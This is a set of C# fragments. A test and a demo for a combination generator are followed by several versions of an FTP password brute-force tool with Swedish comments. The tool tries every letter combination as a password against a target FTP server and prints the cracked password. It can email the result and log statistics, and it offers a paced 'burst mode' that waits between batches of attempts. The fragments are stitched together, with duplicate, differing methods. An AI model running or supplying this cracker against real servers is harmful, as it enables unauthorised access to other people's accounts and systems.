public void CombinatorTest() { Combinator c = new Combinator(5, 3); int[][] combinations = new int[][] { new int[] { 0, 1, 2 }, new int[] { 0, 1, 3 }, new int[] { 0, 1, 4 }, new int[] { 0, 2, 3 }, new int[] { 0, 2, 4 }, new int[] { 0, 3, 4 }, new int[] { 1, 2, 3 }, new int[] { 1, 2, 4 }, new int[] { 1, 3, 4 }, }; foreach (var comb in combinations) { CollectionAssert.AreEqual(comb, c.combination); Assert.IsTrue(c.Next()); } CollectionAssert.AreEqual(new int[] { 2, 3, 4 }, c.combination); Assert.IsFalse(c.Next()); }
static void Main(string[] args) { var Pattern = new List <string>() { "a", "b", "c" }; Combinator <string> Combinator = new Combinator <string>(Pattern); while (Combinator.HasFinised == false) { var Combined = Combinator.Next(); var Joined = string.Join("-", Combined); Console.WriteLine(Joined); } Console.ReadKey(); }
public static void brute() { var Pattern = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; Combinator<string> Combinator = new Combinator<string>(Pattern); while (Combinator.HasFinised == false) { if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("==========================="); Console.WriteLine("Exiting"); Console.WriteLine("==========================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Brute Force ended.."); Console.ResetColor(); Console.WriteLine("Press any key to go back to the menu"); Console.ReadLine(); break; } Thread.Sleep(50); var Combined = Combinator.Next(); var Joined = string.Join("", Combined); Console.WriteLine(Joined); ftp Ftp = new ftp("ftp://" + IP, port, username, Joined); if (Ftp.LoginCheck()) { Console.ForegroundColor = ConsoleColor.Yellow; Console.ResetColor(); Console.ForegroundColor = ConsoleColor.DarkGreen; Console.WriteLine("Connected to the server"); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.DarkMagenta; Console.WriteLine("The password was: {0}", Joined); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("======================="); Console.ResetColor(); Program.ContinueOnKeyPressed(); Console.Clear(); break; } } Program.Main(); }
//Burstmode attack metoden. Är som en brute force men med möjlighet att lägga //in tidsintervaller där Wood Pecker ska vänta innan nästa attack utförst. static void BurstMode() { var Pattern = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; int secondsToWait = 0; int amountOfAttacksBeforePause = 0; bool endOfTHeJourney = true; bool endofJourney = true; bool exit = true; Console.Write("How many secounds would you like to wait between attacks: "); while (endofJourney) { try { secondsToWait = int.Parse(Console.ReadLine()); endofJourney = false; } catch (Exception) { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("=============================================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Only numbers! Try again!"); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("=============================================="); Console.ResetColor(); Console.Write("How many secound would you like to wait between attacks: "); endofJourney = true; } } Console.Write("How many tries would you like to do before the pause..?"); while (endOfTHeJourney) { try { amountOfAttacksBeforePause = int.Parse(Console.ReadLine()); endOfTHeJourney = false; } catch (Exception) { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("=============================================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("Only numbers! Try again!"); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("=============================================="); Console.ResetColor(); Console.Write("How many secound would you like to wait between attacks: "); endOfTHeJourney = true; } } Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("====================================================="); Console.ResetColor(); Combinator<string> Combinator = new Combinator<string>(Pattern); while (exit) { if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("==========================="); Console.WriteLine("Exiting"); Console.WriteLine("==========================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Brute Force ended.."); Console.ResetColor(); Console.WriteLine("Press any key to go back to the menu"); Console.ReadLine(); break; } for (int i = 0; i < amountOfAttacksBeforePause; i++) { var Combined = Combinator.Next(); var pass = string.Join("", Combined); Console.WriteLine(pass); ftp Ftp = new ftp("ftp://" + IP, port, username, pass); correctPassword = pass; bFcount++; if (Ftp.LoginCheck()) { if (SendEmail) { SendingEmail(); Console.WriteLine("Email sent.."); } if (loggingEnable) { WriteStatistics(); } Console.WriteLine("Congratulations, you are connected to the server"); Console.ForegroundColor = ConsoleColor.DarkYellow; Console.WriteLine("================================"); Console.WriteLine("=============STATISTIK=========="); Console.WriteLine("================================"); Console.ResetColor(); Console.WriteLine("Attack finished at: {0}", timeAttackFinished); Console.WriteLine("Amount of tries before correct password: {0}", bFcount); Console.WriteLine("Password is: {0}", correctPassword); exit = false; ContinueOnKeyPressed(); Console.Clear(); break; } } Thread.Sleep(secondsToWait * 1000); Console.WriteLine(""); } //Kontroll för om E-post ska skickas eller ej. if (SendEmail) { SendingEmail(); Console.WriteLine("Email sent.."); } //Kontroll för om statistik ska skrivas eller ej. if (loggingEnable) { Console.WriteLine("Loggs where written"); Console.ReadLine(); Main(); } else { Main(); } }
//Method för Brute Force Attacken static void brute() { //Pattern är en lista med bokstäver. Från a - z. Denna används för vilka bokstäver som ska vara med vid ett försök av brute force attacken. var Pattern = new List<string>() { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; Combinator<string> Combinator = new Combinator<string>(Pattern); while (Combinator.HasFinised == false) { if (Console.KeyAvailable && Console.ReadKey(true).Key == ConsoleKey.Escape) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("==========================="); Console.WriteLine("Exiting"); Console.WriteLine("==========================="); Console.ResetColor(); Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Brute Force ended.."); Console.ResetColor(); Console.WriteLine("Press any key to go back to the menu"); Console.ReadLine(); Main(); } var Combined = Combinator.Next(); var pass = string.Join("", Combined); Console.WriteLine(pass); ftp Ftp = new ftp("ftp://" + IP, port, username, pass); if (Ftp.LoginCheck()) { if (loggingEnable) { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("Statistics written to disc.."); Console.ResetColor(); WriteStatistics(); } if (SendEmail) { SendingEmail(); Console.WriteLine("Email sent.."); } Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("The password was: {0}", pass); Console.ResetColor(); ContinueOnKeyPressed(); Main(); } } }